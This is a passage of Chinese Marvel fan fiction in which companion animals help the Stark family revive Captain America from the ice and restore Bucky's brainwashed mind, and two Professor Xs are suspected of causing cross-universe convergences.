多纳滋坐在前排，回头过来看霍华德，刚才它就注意到了，霍华德一直盯着托尼和锈斑猫看，现在提问也是看着那个方向，于是多纳滋将这件事情评定为斯塔克的家事，很快就又端坐回去。 薮猫趴在托尼脚边似乎已经睡着了。 还是锈斑猫从托尼怀里探出脑袋，冲着霍华德喵喵叫着，理所应当的说：当然是孵化者教我们的。 玛利亚将这话翻译给霍华德听。 “你的回答没有问题，当然，除了你们的孵化者，还有谁呢？其他人也听不懂你们讲话，”霍华德温和的对小猫说，“只是约等于什么都没告诉我。” 锈斑猫只是抿着个小猫嘴，表情越发乖巧无辜，又像是在对霍华德笑。 端着副可爱的模样，让人想要多问两句，都不忍心开口。 “你知道你有多可爱的，对么？” 玛利亚在旁边打趣。 锈斑猫昂起脑袋：“喵~”知道的哦~ 第62章 接下来霍华德闭目养神,玛利亚认真修改小动物们的衣服，托尼揉了揉锈斑猫的脑袋，等它趴回来,就继续搂着猫看窗外发呆。 霍华德的视线不自觉的落到托尼和锈斑猫的身上。 他眼看着那只古怪的锈斑猫趴到自己儿子怀里,亲昵的咕噜噜,这份美好的画面却让霍华德心中涌出一股怪异的不祥,就像是某种异常前的预感一般,他越是看着锈斑猫,那份感觉就越发强烈。 霍华德无法理解心脏处不安的悸动到底意味着什么。 他只能移开视线。 飞机顺利在预定地点降落,这里距离小动物们提出的美国队长所在的位置还有些差别，按照这些小家伙的说法,这是为了隐藏它们的能力,那可不能让驾驶员发现,而且两处的距离不远，只要跟着它们一起步行过去就好了。 斯塔克一家要做的，只不过是记录这件事情, 编一个合理的理由，以及在最后负责把老冰棍扛上飞机这样而已。 ——正好他们现在有两个体力不错的成年男性，不然只靠霍华德和玛利亚，在这冰天雪地里，真的很难把冻的结结实实的老冰棍成功脱模带回来。 “等等……”托尼这才意识到不对劲，“所以这个地点是……它们告诉你的？” 他看着自己的父亲。 霍华德维持着父亲该有的威严，一副事情尽在掌握的模样,闹得旁边的玛利亚哭笑不得。 多纳滋带着帕夫，它们两只最先跳出飞机,然后是薮猫和锈斑猫。 锈斑猫一脚踩在雪地里，愣了一下,然后默默跳到薮猫的身上。 “喵？”你不冷么？ 薮猫轻声叫着告诉锈斑猫：我感觉还可以。 爪子上确实凉凉的，但也没到无法忍受的程度。 伴生动物本来就比普通动物强悍数倍，没那么容易受伤或是被冻到。 锈斑猫会感到有些不舒服，主要还是因为它不喜欢这种冰冷的触感，心理上对这份凉意心生排斥，而不是它的肉垫会被雪地冻伤。 薮猫驮着锈斑猫和塔塔，多纳滋揣着帕夫，它们两一前一后，顶着风雪往前走。 人类就在它们之间，这样可以最大限度的避免人类掉队后困死在风雪中。 “它们在保护我们。”玛利亚对霍华德说。 霍华德让她不要说话，不小心灌一嘴雪的，那多难受。 然后他就看到风雪的帘幕后方，有一簇若隐若现的黑色影子。 一只纯黑色的巨型贵宾犬。 它就这么蹲坐在雪地里，宛若没有实体的鬼影。 人类不自觉的停下了脚步。 跟在他们后方的薮猫没看清，“啪”的撞在托尼的小腿上，探头对前面的霍华德发出半喵半汪的叫声，仿佛在揉着自己被撞疼的脑壳，向突然刹车的霍华德抱怨。 霍华德顾不上它，一手护着身后的家人，一手去摸腰间的手枪。 “喵。”锈斑猫试图阻止他。 也许是感觉到人类因为星期五带来的无形压力而紧张起来，锈斑猫还试着发出咕噜噜的声音来安慰他们。 可惜风雪声太大，咕噜声无法传递出去。 好在玛利亚最先冷静下来。 “那不是魔鬼，那是它们的同伴，是一只巨型贵宾犬，拥有非常特殊的能力，只靠它一只就能将美国队长从冰层下面带上来，”玛利亚一手搂住霍华德，另一手拉住托尼，防止他们太紧张，并迅速帮着翻译，“它叫……它叫星期五。” “它能把……美国队长从冰层下面带上来？” 霍华德抓住了重点。 所以这是一只来自魔法侧的生物……？ 不对，所有伴生动物都是魔法侧的，不然无法解释它们为什么会这样突然出现，那是不是意味着，玛利亚以后也是一名女巫了？ 霍华德感受到某种关于创造性的趣味。 他看向玛利亚，玛利亚也立刻明白了自己丈夫脑子里的想法，无奈的笑着，摇头。 有时候，霍华德就跟个孩子似的。 “喵~”锈斑猫对着星期五叫唤：你是怎么过来的？ 星期五汪了一声，告诉它们，它是被奇迹带过来的。 奇迹是通过平行宇宙交汇这个自然现象来到这个宇宙的，又通过它和星期五之间特殊的召唤能力，将星期五偷渡过来。 为的就是在这个时候，将这个平行宇宙中的美国队长从冰层下提前带出来。 听起来，奇迹凭着自己的善意，向这个平行宇宙伸出了援手。 “为什么呢？” 对此，霍华德似乎有些难以理解。 哪怕是救世主这样的存在，霍华德也能理解。 可这甚至不是它的世界。 星期五却摇了摇头。 “汪。”奇迹它不是因为纯粹的善意而来到此处，这次行动中包含着其他缘由，只不过那和你们并没有直接关系。 所以，也就没必要说清楚了。 在玛利亚的翻译下，霍华德听懂了星期五的言外之意。 它们口中的“奇迹”是为了达到某个目的这么做的，只是那个目的与他们无关，可能与这个宇宙都没什么关系，帮他们不过是顺带的行为。 然后，星期五告诉他们。 作为某个超级英雄的伴生，奇迹不会伤害任何无辜的人，也绝对不会将这个宇宙推往更糟糕的境地，在这方面他们不必担心。 “……听起来我们的宇宙情况糟糕啊。”旁边的托尼突然开口。 星期五看向他，然后摇头，它没关注过，也不知道，它刚被奇迹薅过来，甚至不知道这里具体是哪里。 不过这个平行宇宙的境况确实很糟糕。 除了星期五以外，在场的其他小动物和人类都心知肚明。 世界还会存在下去吧。 但人类，这一回恐怕是真的要灭亡了。 “好了，让我们进行下一步吧。” 霍华德提议。 他们该把美国队长从冰层之下带出来了。 刚才有一瞬间，霍华德也在思考，在亚马逊人和亚特兰蒂斯人的疯狂战争中，人类前方只剩下一片绝路，反而是冰封着美国队长的这片死地，很有可能在灾难后依然保持原样。 无论史蒂夫现在是死是活，无论是让他的尸身得以安宁，又或者为他寻找新的一线生机，将他留在这雪天里，才是更好的决定。 这念头只是出现了，然后就迅速破灭。 霍华德了解史蒂夫·罗杰斯。 那家伙肯定想跟自己的队友在一起。 而不是独自偷生，或者就这么无声无息的埋葬在远离纷争的地方。 美国队长从不畏惧战争、杀戮、毁灭，他就是为了对抗那些而生的，绝不会因为敌人强大到无法战胜就选择退缩。 星期五抬头看向霍华德。 霍华德向它点头。 “动手吧。” 然后，星期五抬起了身体。 它前肢离开地面，身体黄鼠狼似的直立而起，那动态十分的人性化，仿佛隔着风雪，在对霍华德点头。 这画面意外的吓人，托尼一个激灵，默默将自己母亲拉到身后去。 玛利亚试图安抚托尼，但她自己也被吓了一跳，现在却转头再去安抚别人，也实在是没什么说服力。 霍华德死死盯着那道黑影。 看它消失，融入脚下的雪与冰构架的世界中。 星期五在其中遨游。 所有的阻碍与它来说不过是薄纱，而它却是流水，薄纱可以短暂的遏制水流湍急的趋势，却注定了无法留住它。 它化作更细，更温和的模样，从薄纱的网中漏过去。 它一路向下穿透冰层，来到第二道阻隔面前。 这还是星期五第一次连续穿越屏障，奇迹告诉它这不是问题，任何东西都无法限制住星期五的存在，它本就是思维最活跃的那个点，是概念，而不是某种具体的东西。 真实无法束缚它。 短暂的犹豫后，星期五再次发动自己的能力。 就像奇迹所说的那样，星期五再次穿过挡在前方的东西，进入到那位于冰层下方的，那个金属铸就的“棺材”内部。 星期五终于探索到了某个东西，一个应当属于人类的东西，一具血肉之躯，一个活着的生命信号。 星期五接触到他。 带着他，引导他向自己的维度堕落。 人类会愿意跟过来吗？ 星期五活动自己的犬齿，摩擦着它们。 若是人类拒绝，它就不得不用些强制的手段。 以人类的视角来说，黑色的迷雾覆盖他的世界，就像是深渊在窥探人间，那种即将迎来毁灭与灾厄的不祥，是个人类都会拒绝的吧。 可从史蒂夫的体感上来说，那更像是噩梦终于要醒来。 沉寂许久的沙漏终于开始降下新的尘埃。 他的意识停留在这一瞬已经太久太久，哪怕本身并没有感知，却也在一片模糊中隐约知道，不能继续下去了。 他必须离开，无论代价如何。 在这寒冰的地狱中，史蒂夫已经挣扎许久，他始终无法摆脱困境，只能任由黑暗淹没，覆盖在自己头顶，明明只要抬头就能回到水面，然而就是这样简单的动作，无论史蒂夫如何努力，却始终无法做到。 如今，他终于在这片死水中看到一丝变化，哪怕前方是地狱，那又能如何呢？事情已经不会变得更加糟糕了。 何况他不惧挑战。 史蒂夫毫不犹豫的跟上那股未知的力量，往无尽的黑暗中坠落。 他将穿透黑暗。 第63章 卡住的时间开始流淌。 史蒂夫张开眼睛。 随着光进入他的眼眸,世界终于又一次的运转起来。 史蒂夫困惑的转动眼球，去看周围。 陌生的房间，柔和的光线, 还有一位他并不认识的人。 史蒂夫看着面前的人,觉得有些面熟,又十分肯定自己没有见过。 “托尼·斯塔克,我爸和我妈都在忙,我替他们看着你。”托尼简单自我介绍了一下。 原来如此。 所以才会看着眼熟。 史蒂夫反应过来。 托尼长的确实很像霍华德, 也有属于玛利亚的风采。 “我……现在……”史蒂夫僵硬的发出几个音节, 他的身体正在快速恢复，精神却还十分的迟钝, “几年？”他问。 “你被冰封了三十多年。”托尼告诉他。 史蒂夫看着面前这个也许还不到二十岁的青少年,他愣愣的,没有意识到双方看起来年纪其实差不多。 只不过史蒂夫的身上有很多属于战争的痕迹。 而托尼则额外的干净。 “Cap。” 托尼叫了他。 史蒂夫这才回过神，他从床上坐起来，环视自己所在的房间。 这里的一切都是那么的陌生。 不只是房间陌生。 不是那样单纯的事情。 史蒂夫迷茫的看着周围的一切。 从托尼握在手上把玩的能显示画面的扁平怪盒子,到闪烁着数字和一堆其他信息的被叫做电子时钟的东西。 他甚至看到一个独立的机器手臂摇摇晃晃的走进来，给托尼送上一杯咖啡。 史蒂夫是被时间遗弃在过去的人。 现在的一切对他来说，都是未来科技。 他迷茫，陷入窘境。 托尼看他呆呆的，还以为是复苏过程出了什么问题，于是叫了护士过来。 然后是检查，问询。 史蒂夫一板一眼的回答, 这时候他整个人反而正常了许多。 然后是收到消息的霍华德和玛利亚，他们也来到史蒂夫身边, 三人聊了一会，帮助史蒂夫缓解那仿佛瞬间穿越时空了的诡异落差感。 然后是小动物们,它们被称为伴生动物，是特殊的存在，霍华德告诉史蒂夫，之所以这次能成功将他从冰层下带上来，这些小动物至关重要，以及，他们需要对这些特殊小动物的存在性保密。 一只锈斑猫、一只薮猫，薮猫据说是玛利亚的伴生。 一只金毛、一只被叫做金丝熊的短尾老鼠。 史蒂夫和那只金毛对视。 多纳滋：…… “我们是不是……见过？”史蒂夫十分怀疑。 多纳滋没有回答，它知道史蒂夫不是在跟自己说话。 站在多纳滋头顶上的帕夫想了想，告诉他：“唧唧。”也许是在梦里面吧。 玛利亚迟疑片刻，才将这调情似的话翻译出来。 史蒂夫：…… 霍华德及时转移了话题，他告诉史蒂夫，其实还有一只水獭，不过那只小家伙现在还在楼下陪着詹姆斯·巴恩斯，暂时没空过来。 稍等一下…… 詹姆斯·巴恩斯？ ……巴基？ 史蒂夫看向霍华德，不可置信的说。 “巴基不是……” 话音刚过去一半史蒂夫自己反应了过来。 “他也……” “不太一样。”霍华德还没想好怎么和史蒂夫说这件事情，但纸包不住火，他们早晚都要将巴基的情况告诉史蒂夫，晚说不如早说，拖久了反而容易节外生枝，更何况现在的他们也没有多少时间了，所以霍华德只是拍了拍史蒂夫的肩膀，“准备一下，如果你感觉还好，我们这就去见他。” 史蒂夫的感觉当然不差。 就算有些不适，那也是可以克服的小问题。 玛利亚哄着托尼去休息，等托尼在薮猫、锈斑猫的环绕下入睡，玛利亚这才折返回来，和霍华德一起领着史蒂夫和其他小动物们一起进入地下基地。 房间里，巴基还坐在那张椅子上，不过人已经睡了过去。 他双手放在扶手处，身体自然放松，头低垂着，一只水獭在他腿上蜷缩成圆球，身体微微起伏，它的呼吸节奏跟巴基的几乎完全同调。 若是将巴基身下的椅子换成摇椅，应该是一副十分惬意的画面。 “巴基？” 史蒂夫有种不好的预感。 开门的声音这么响，巴基怎么可能毫无反应？ “他遇到了些事情……” 霍华德将事情简单的，尽量铺平直叙的告诉史蒂夫，就从他们当初没能寻到巴基的尸体，不是因为他掉落悬崖后死不见尸，而是九头蛇先一步带走了还活着的巴基开始。 “他那时候……” 还活着。 史蒂夫因此而愣住了。 然后就是超级血清，洗脑，以及那个该死的、加入了外星人成分的改良版。 它让巴基成为了比美国队长更强大的变种战士，却也让他身体快速崩坏，恐怕支撑不了多久了。 “没有什么办法……” “很抱歉。” “……” 也许有的，如果他们能拿到那个外星人的研究资料和相关样本的话。 但霍华德不想给史蒂夫那虚幻的希望。 首先，他们根本拿不到，其次，拿到了也不能保证这事情一定就能有解。 与其让史蒂夫先获得希望然后再遭遇失望，还不如先把话放在这里，他们可以尽情的享受剩余的时间，若是有朝一日命运开眼，有奇迹降临到这早已破败不堪的世界，那么他们收获的喜悦也将是乘以百倍的。 霍华德就是这么现实。 哪怕他作为科学系的唯物主义思想在这个该死的世界不断遭受全新的挑战，也不能改变他的本质。 “汪。” 多纳滋叫了一声。 玛利亚为他们翻译：“它说，现在可以进行下一步了。” 按照多纳滋的描述，塔塔和巴基一起入睡，是为了稳定巴基被洗脑程序攻击的自我意识，引导巴基的精神做好初步准备。 至于下一步。 当然是彻底唤醒巴基的自我，帮助他重新接管这具身体。 而塔塔是做不到这个的。 洗脑的过程过于残酷，剥夺了巴基的判断力和对世界的认知，以至于巴基的自我根本不相信能看到的所有东西，塔塔自然也不是他的信任对象。 所以他们需要史蒂夫。 “赌一把。”玛利亚轻声说，“赌他能认出来，这是真的史蒂夫，他的队长。” 史蒂夫闭上眼睛。 他强迫自己不要去思考巴基经历过什么。 现在，解决眼下的困境，这才是最重要的事情。 多纳滋告诉他们，这可能会有一些风险，最糟糕的情况下，史蒂夫的自我意识可能会和巴基的自我一起葬送在那片风雪中。 同时多纳滋也很清楚，史蒂夫不会因此退缩。 毫不意外的，史蒂夫坦然接受了这份风险。 霍华德推来新的椅子，让史蒂夫在巴基身旁落座，塔塔短暂的醒来，与史蒂夫对视，水獭的眼瞳漆黑，大概是因为精神中很大一部分还停留在巴基的脑子里吧，现在的塔塔看起来额外呆呆的，歪着脑袋看着人的时候，让人心脏发颤，仿佛要融化一般。 在玛利亚的指示下，史蒂夫抬手，轻轻放在水獭毛茸茸的小脑袋壳子上。 那一瞬间，史蒂夫体验到了，可以被称作为“沉沦”的感觉。 他的精神在一瞬间下落。 空洞的感觉包裹着史蒂夫的感官，然后整个世界的温度开始急速下降，明明作为超级士兵的他早已不再畏惧严寒，可依然被这份寒冷所侵蚀，身体忍不住打颤。 为什么会冷……？ 史蒂夫无法理解这个状态，他不断试图自控，身体却越发的失去协调性，颤抖和寒冷覆盖了身体，不断撕咬史蒂夫的神经，还有眩晕感，以及不可自控的困倦。 “冷的感觉，不是你的哦。” “还有，困的也不是。” 有个声音在跟他讲话，软软的，很乖的声音。 史蒂夫举目四望，没有看到任何人。 “低头啦。” 那个声音无奈的说。 史蒂夫怀着疑惑低下头去，就看见自己脚边站着一只、一只…… 水獭……？ 跟他说话的居然是这只圆润可爱的水獭。 水獭继续对史蒂夫说：“慢慢的呼吸，闭着眼睛，然后感觉、嗯……想象，想象你在呼吸，用你自己的节奏在呼吸，然后慢慢的，一次吸气、一次呼气……” 在这只水獭的引导下，史蒂夫稳定住了自己的身体，那些混乱的疲倦和冰冷开始褪去，他的感觉变得清晰明确。 史蒂夫睁开眼，这时候他已经不再被错误的信号困扰。 他蹲下身体，问这只小水獭：“我听不懂你同伴的话，却能听懂你的，为什么？” 塔塔告诉他：“因为在这里，我们不是在对话，而是思维在贴贴哦。” 水獭说话的逻辑还没有那么好，有些磕磕绊绊的，却也能够听得懂。 史蒂夫大概理解了一下，意识到他正在巴基的精神世界中，而他之所以能听懂水獭说话，也是因为他们现在处于一个三方同时共鸣的特殊状态，彼此之间思维紧密相连，自然能听懂对方的语言。 更准确的说，在这个状态下，语言并不重要。 “你刚才说，我感受到的这些困意和寒冷都不是我的感觉，那它是属于谁的？” “这里是，他的。” 塔塔指了指不远处。 恍惚间，史蒂夫好像听到了火车远去的声音。 第64章 火车的声音突然就消失了。 取而代之的却是一个人从高空一跃而下的身影。 英雄式落地。 就是没有那面象征性的盾牌。 “这怎么可能。”巴基看着面前的人,用平淡到有些异常的声音对他说。 “我知道这只会让我们的努力变得没有意义，”史蒂夫对他说，“所以我没有这么做。” 但现在, 在这个地方。 除了他们之外的所有东西都不再重要。 塔塔在一旁围观他们聊天、喝酒,史蒂夫用最快的速度学会了如何控制这里,于是篝火出现在他们中间,矮矮的木桩环绕着篝火,还有酒。 还应该有烤鱼。 塔塔想着,偷偷做了一点点修改。 两名人类哭笑不得的看着水獭跑过去抱住了烤鱼。 “你能吃熟的吗？” “能哦。”塔塔理直气壮,然后反问：“都在这里了，难道还有什么事,不可以？” 这话说的很有道理。 史蒂夫拿起一串烤鱼尝了一下, 是他记忆中很好吃的味道。 巴基也在吃,他们聊了烤鱼，顺便回忆一下以前的事情，聊着聊着,史蒂夫顿住，这烤鱼在他们口中的味道居然是完全不同的。 “这样下去不行的哦。”塔塔提醒史蒂夫。 史蒂夫自己也能感觉到，现在的巴基并不相信自己，也不知道在九头蛇洗脑的过程中都经历过什么，让巴基并不相信面前这个“史蒂夫”，他可以跟“史蒂夫”聊天，回忆过去,这样平静和睦的相处着。 可他依然不相信“史蒂夫”。 巴基也有自己应付“史蒂夫”的方法，他正常和“史蒂夫”相处, 打发时间，然后用不该出现的金属铁臂勒住史蒂夫的脖子。 “巴基？” “刚开始这确实有些困难。” 巴基的声音浮在空中, 平淡失真，像是个在故事之外的旁白。 “不过渐渐地，也就这样吧。” 巴基这样说到。 塔塔捧着吃了一半的鱼，目瞪口呆的看那两只人类在风雪中滚成一团，巴基要杀史蒂夫，史蒂夫在反抗，但因为不想伤害巴基的自我意识，下手太轻了，让他的反抗显得苍白无力。 “他们引导他去杀遇到的每个史蒂夫，而且至今为止每个史蒂夫都是假的，渐渐的，他就能很顺畅的杀掉自己曾经的战友了吧。” “反正在他眼里，也都是假的。” “嗯？” 塔塔扭头左右看看，它好像听到了什么有点熟悉的声音？ 人声和动物的叫声区别还是很大的。 那种低沉的，有些危险的调子，塔塔只能辨认出那声音它听过，应该是某只小动物的，一时之间却也分不出到底是谁的。 然后，它就看到从风雪外融入的黑雾。 这时塔塔认出了对方。 是星期五。 “这里也算是……可以进来的？” 星期五可以穿入任何封闭的地方，这本来就是十分抽象的，魔法侧的能力，现在它将人类的心灵也视作“封闭的地方”，居然真的进来了。 看着星期五，塔塔面露迷茫，问：“你是怎么想到，还能这样的？” 塔塔想知道星期五遇到了什么，明明不久之前，它的能力还受限于物理形式，怎么突然间就变得完全不同了？ 星期五也不隐瞒，“有一个叫做X教授的老年人类，他教我的。” X教授？ 塔塔摇了摇头，低头啃了一口鱼。 见塔塔一副放弃思考的模样，星期五问起别的事情。 “你认识薇薇吗？” 薇薇？ 塔塔迷茫的又啃了一口鱼，然后它突然反应过来，看向星期五：“你和我们不一样。” 它们是被卷入了交汇中，来到这里纯属意外，最初行动的目标不过是想要找到回去的办法而已，后来遇到了这个平行宇宙的那些熟悉的面孔，或者有关系的人，它们无法放下，这才卷入这些事情中。 而星期五不一样。 星期五是怀着某个目的才来到这里的。 星期五低头看着水獭，片刻后，它告诉水獭：“交汇不该存在。” 然后，星期五召唤了奇迹。 交汇居然将它们全部带到这边来。 见到这个情况塔塔有点慌，它还记得自己和彼得分离的时候，人类正在遭遇麻烦，水獭急忙询问：“馍馍怎么办？馍馍也过来了吗？其他人呢？” 奇迹看向它，摇头：“馍馍还没有过来，”奇迹的声音比星期五更温和，溪流似的，“为了保护馍馍的安全，复仇者已经集结，他们打赢了冲突，并将馍馍保护的很好，也会负责照顾它，所以你不需要担心他们，或者是馍馍。” 这消息让塔塔松了口气。 当时，奇迹将它们和彼得一起送去那里，其实重点是在彼得身上吧。 它需要彼得去保护馍馍。 而塔塔和锈斑猫反而像是顺带的。 因为修理幻视，什么时候都可以去修，完全不需要急于一时。 “……” 冷不丁的，一个猜想划过塔塔的脑海，塔塔因此愣了片刻，才带着迟疑问：“是发生了什么，所以，必须马上修好幻视？” 奇迹回应道：“是的，必须在那个时候修好幻视，否则绯红女巫将无法维持稳定，接下来，两个平行都将面临巨大的灾难。” 旺达能做到的事情，比任何人已知的都更加可怕。 所以奇异博士才会如此安排，将危机扼杀在摇篮之中。 他本来是不能这么做的。 随意干扰时间线，很可能让世界滑入更危险的境地，甚至沦为负面宇宙，变成尸横遍野的可怕情况。 可奇迹诞生了。 孵化在奇异博士被窝里的奇迹，让一切都有了改变的机会。 刚才还觉得自己懂了的塔塔又不懂了。 只觉得有东西在攻击它的小脑袋。 看水獭在那不要不要的，奇迹轻轻拱了它一下，让它去一边休息，自己则和星期五一起，向还在扭打的巴基和史蒂夫走过去。 但只是走了两步，奇迹突然停住。 它略感意外的看着那边。 现在的巴基，已经不是之前那个模样。 他不再是从火车上掉落的士兵，而是变成一个非常冷漠，如机械一般的家伙。 巴基的眼神变得冰冷，其中没有任何情绪，随意裁剪的头发就这么披在肩上，发丝打着卷，额外凌乱，使他整个人呈现出落魄和有些呆的感觉，冷不丁的看过去，给人的第一感觉居然是无害的。 可当他的拳头落下，所有的幻想都将被打破。 他是个只为了杀人而运作的兵器。 “巴基！” 史蒂夫的呼唤传到巴基耳中。 “我知道。”巴基对他说，“不要乱动，很快就结束了。” 那种平淡的声音让人不寒而栗。 塔塔打了个哆嗦，收回想要向前去帮忙的爪爪。 巴基疯了。 仗着拥有外星超能力，他死死地掐住史蒂夫的喉咙。 若不是这处精神世界的控制权有一部分正握在塔塔的爪中，史蒂夫的意识很可能已经被巴基杀死。 可现在塔塔不允许史蒂夫死掉。 那么史蒂夫就不会死掉。 “巴基……” 在脊椎濒临断裂的嘎吱响声中，史蒂夫伸手，触碰巴恩斯的脸庞。 这是假史蒂夫不会做的事情。 九头蛇也想不到，美国队长是可以接受这个的。 他会陪他到生命的尽头。 他可以接受自己被巴基杀死。 非要说，有什么绝对不能死在这里的理由，那也是担忧巴基清醒后无法面对那双染了史蒂夫鲜血的双手。 巴基愣住了。 他意识到这个史蒂夫，和之前所有的“史蒂夫”都不一样。 这不是那些喊着正义道德、举着盾牌的空壳。 “所以，这就是尽头……？”巴基问。 “不是，”史蒂夫哑着嗓子回答他，“这是开始。” 再一次的，开始。 巴基看着几乎被自己拧断脖子的史蒂夫，迷茫的分不清到底发生了什么，只是摇头：“别做傻事。” 史蒂夫微弱的笑了一下。 “怎么会？你把那些傻气都带走了，不是吗？” 两人对视，然后拥抱。 当史蒂夫的身影被风雪簇拥着，从巴基面前消失。 星期五走过去，好奇的问：“你不怕他也是假的吗？” 巴基依然看着史蒂夫消失的位置。 “我记得他。” “虽然我记不清楚了，但是……” “他打架从不知道认输，也不管能不能打过。” “我得跟着他。” 巴基像是在自言自语。 他其实不太确定到底是什么情况，洗脑让他的记忆区受损，给他留下的，能够分辨史蒂夫的内容越来越少，他几乎是靠着直觉选择了这一个。 如果不是的话…… 巴基的思维短暂停顿。 不，那个史蒂夫一定是真的。 没有原因的，巴基的直觉百分百确信这一点，他感觉到了那种熟悉的，跨越了时间，从布鲁克林而来的怀念。 然后他也消失了。 接着是风雪。 这片世界里只剩下两只狗，和一只还抱着烤鱼的水獭。 少了巴基和史蒂夫两名人类的思维作为调控，当精神世界的构架只剩下塔塔的时候，这小家伙的脑子里胡乱飞舞的各种念头立刻填满了整个世界。 巨大的烤鱼。 蛋糕。 还有从天而降的甜甜圈。 第65章 史蒂夫先一步睁开眼睛。 巴基紧随其后。 他立刻转头去看巴基。 两人短暂对视。 沉睡许久的巴基没能弄清楚刚才的一切是梦境还是现实, 张开眼看到史蒂夫就在身旁，还以为自己依然在幻觉之中，伸手就要去抓史蒂夫的脖子。 那动作像是个亲昵的拥抱。 可史蒂夫能看出来, 巴基是想顺手扭下他的头颅。 同时他也很清楚,杀戮并非巴基的本意,是巴基以为面前的他又是一个假史蒂夫,这才想要将他除去。 史蒂夫想说点什么跟巴基解释,没想到下个瞬间,巴基突然蜷缩起来。 剧烈的头疼让他痛苦不已。 霍华德立刻做出反应, 和史蒂夫一起按住巴基，玛利亚则为巴基推入镇定成分的注射液。 兵荒马乱中, 塔塔也张开了眼睛。 还好在他们三个一同陷入沉睡的时候玛利亚就将塔塔抱到一旁的单人沙发上,让它单独在坐垫上继续睡,不然就现在这混乱的状况，塔塔怕不是难免被人一把掀翻，在地上滚成一只塔塔皮球。 “嘤……？”怎么了？ 水獭迷迷糊糊的揉着眼睛。 它从沙发上滚下去, 先是落在一个柔软的物体上，然后滚到地上，找到水碗喝了几口。 大概是嫌垫子有点热，塔塔没有返回单人沙发，而是就地继续睡。 它本来就有抱着个什么东西睡觉的习惯，现在周围没有其他东西可以抱，塔塔也没注意自己抓了个什么,就用两只前爪紧紧地抱住，翻身再次睡了回去。 一直坐在单人沙发旁边守着塔塔的多纳滋回过头,无奈的看着迷糊的小水獭。 它试着动了动尾巴。 塔塔完全不放。 嘴里还嘟囔着“星期五”、“奇迹”。 狗狗也没有办法，只能任由水獭将自己的尾巴当做抱枕,随后开始环视屋内。 奇迹。 星期五。 多纳滋见过星期五，也从锈斑猫口中听过奇迹。 它知道它们一个是奇异博士的伴生，另一个却是英国侦探的伴生，它们的孵化者之间毫无关系，彼此却是互为影子，可以随时召唤彼此。 星期五的能力是自由进出任何封锁的地方，按照之前的情况，包括但不限于任何封闭空间，而奇迹则更加维心一些，就像它的名字一样，它能带来奇迹。 多纳滋环视了屋子。 屋子里并没有星期五，也没有很像星期五的奇迹。 …… ………… “那边的情况比我以为的更好一些。” X教授的精神世界中，奇迹对布莱克说到。 布莱克正在看着不远处的草地。 那里有位苍老的人，正坐在轮椅上，明明精神世界并不需要这种东西，他依然坐在那上面，没有因为自身的残疾而感到窘迫，反而是十分舒适的享受着世间给予的一切。 那是X教授。 属于他们宇宙的那个，年老的X教授。 “他到底想做什么？”布莱克问。 奇迹摇了摇头。 X教授的声音就出现在布莱克的耳边。 “我们要做的，并不是多么伟大的事情，也没有多重要。那并非一定要改变什么，只是在填补，一些遗憾，一些无法理解的，对命运的质疑。” “既然那并不是很重要，为什么薇薇还要冒险前往另一个平行，对于一件并不重要的事情来说，这行为有什么意义？” “最初，薇薇并不是自愿那么做的，但她最后选择认同自己的孵化者，并接受了这次旅行，只可惜因为起始地点不太好，她的交汇出现了问题，以至于她忘记了很多事情。” X教授还告诉布莱克。 “薇薇和你们不太一样，她不是从被窝里孵化出来的，而是在孵化者濒死的瞬间，于虚空中诞生，从出生到现在，也从未接触过自己的孵化者。” 濒死？ 那它的孵化者还活着吗？ 这个问题出现在布莱克脑子里的时候，X教授就听到了，他们现在紧密相连，布莱克也立刻感受到X教授的答案。 理论上，是的。严格来说，她是从亡者的思念中孵化出来的遗物。 ……？ 死人可以孵化伴生吗？ 不可以。 死人是无法孵化伴生动物的。 布莱克迷茫了。 明明X教授自己说的，薇薇是从亡者的思维中诞生的，不是吗？但前面说的又是……濒死？ 前后几句话，怎么会如此的自相矛盾？ “查尔斯。” 有人叫了X教授。 随后，一个年轻人走了过来，他看起来正是壮年，神情冰冷，有种可怕的攻击性，比起人类，这家伙看起来更像一只伏击状态的野兽。 “艾瑞克。”老查尔斯是这么叫他的。 艾瑞克抬了一下手，教授的轮椅就被无形的力量托着，平稳的向边上移动，来到一处凉亭里面，在桌边停稳。 凉亭里面有棋盘，还有下到一半的棋。 那是两个年轻人没下完的棋，是属于年轻的X教授和面前这同样年轻的艾瑞克的棋局。 老查尔斯没有介入的意思。 他另起了一盘棋。 世界即将覆灭，新生的变种人组织也无法置身事外，这个关头他们的查尔斯突然失踪，换过来这个年老的自称为X教授的人。 他无比了解艾瑞克。 还叫他“万磁王”。 艾瑞克：“……”这名字有点儿中二病。 年轻的艾瑞克并没有经历过这么完善的意识链接，他有些生疏，以至于脑子里吐槽的念头刚出现，大家就都感受到了。 老查尔斯忍俊不禁。 “我有劝过你换个称号，真的。” 艾瑞克：“……” “我都遭遇了什么？” 这个问题，老查尔斯无法回答，而他对自身意识的保护程度远超在场的所有人和动物，以至于哪怕在彼此这般紧密连接的情况下，他们也无法感受到，那在老查尔斯的内心一闪而过的遗憾。 奇迹已经退出思维的世界，随后是布莱克和星期五。 它们回到现实中。 …… 夜空下，布莱克和星期五对视。 星期五也是一只侦探汪，布莱克同它分享了部分情报。 可以猜到的是，薇薇很可能是因为它那已经死去的孵化者，才参与到这片混乱中，至于交汇这个自然现象是否可控，暂时不好说。 两名X教授多半是被动卷入的，最多只是提前知道会发生交汇，而无法直接控制交汇的发生和交汇的作用对象。 可薇薇呢？ 证据还不足以给推理提供线索。 星期五摇了摇头。 当初年轻的查尔斯说过，他们是意外进行了交汇，在交汇的瞬间，双方都认为这很有意思，这才放任交汇的发生。 “汪？”星期五提出疑问：这句话是不是可以理解为，如果他们不愿意，完全可以阻止那次交汇？ 也许是，也许不是。 布莱克回忆着当时年轻查尔斯说话时的模样。 它当时就对此充满怀疑，和他们宇宙中那个年老的艾瑞克一样，布莱克也在怀疑两名查尔斯的动机，布莱克一直认为这两名X教授的动机不纯，至少老查尔斯是另有目的。 现在它终于见到了属于他们宇宙的这个同样年老的查尔斯，越发肯定了自己的怀疑。 星期五立刻想到了。 “汪。”你认为，其实是他们有意引导交汇的发生，虽然薇薇的那次交汇情况不明，但他们自己经历的那次交汇，以及我们的，很可能和他们两个脱不开关系。 布莱克点了点头。 但是到底为什么呢？ 若是排除“ X教授终于化身为变幻莫测且无比神经质的超级反派”这种听起来就让人感到绝望的情况，还能剩下什么可能性？ “汪呜？”如果他是出于善意才这么做的呢？ 在它们身后传来大红的声音。 捷克狼犬走向它们。 在它身后，还跟着这个宇宙的钢骨。 